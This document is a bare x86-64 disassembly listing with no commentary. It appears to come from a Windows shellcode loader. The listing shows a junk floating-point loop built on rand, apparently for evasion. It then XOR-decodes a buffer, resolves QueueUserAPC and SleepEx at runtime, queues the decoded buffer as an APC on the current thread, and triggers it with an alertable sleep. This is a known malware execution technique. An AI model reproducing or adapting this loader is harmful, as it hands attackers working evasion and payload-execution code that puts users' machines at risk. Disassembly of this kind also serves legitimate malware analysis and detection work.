mov eax, dword [rbp + 0x2b4]
cmp eax, dword [rbp + 0x124]
jl 0x140002951
jmp 0x140002a36
mov dword [rbp + 0x2b0], 0xffffffff
add dword [rbp + 0x2b0], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x42
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006178]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e10
movq rax, xmm0
mov qword [rbp + 0x100], rax
cmp dword [rbp + 0x2b0], 0xc1
jle 0x1400029a1
mov eax, dword [rbp + 0x2d4]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x2c8]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x2d4]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x2c8], 0x6a
jne 0x140002a28
mov dword [rbp + 0x2c8], 0
jmp 0x140002a2f
add dword [rbp + 0x2c8], 1
add dword [rbp + 0x2d4], 1
mov eax, dword [rbp + 0x2d4]
cmp eax, 0x2d
jbe 0x140002997
mov dword [rbp + 0x2d4], 0
jmp 0x140002ab2
mov eax, dword [rbp + 0x2d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x160]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x160]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x2c4], 0x2d
jne 0x140002aa4
mov dword [rbp + 0x2c4], 0
jmp 0x140002aab
add dword [rbp + 0x2c4], 1
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0
js 0x140002a51
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x2a0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x2a0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x118]
mov r9, qword [rbp + 0x110]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x108]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x310]
add rsp, 0x3a8
pop rbx
pop rbp
ret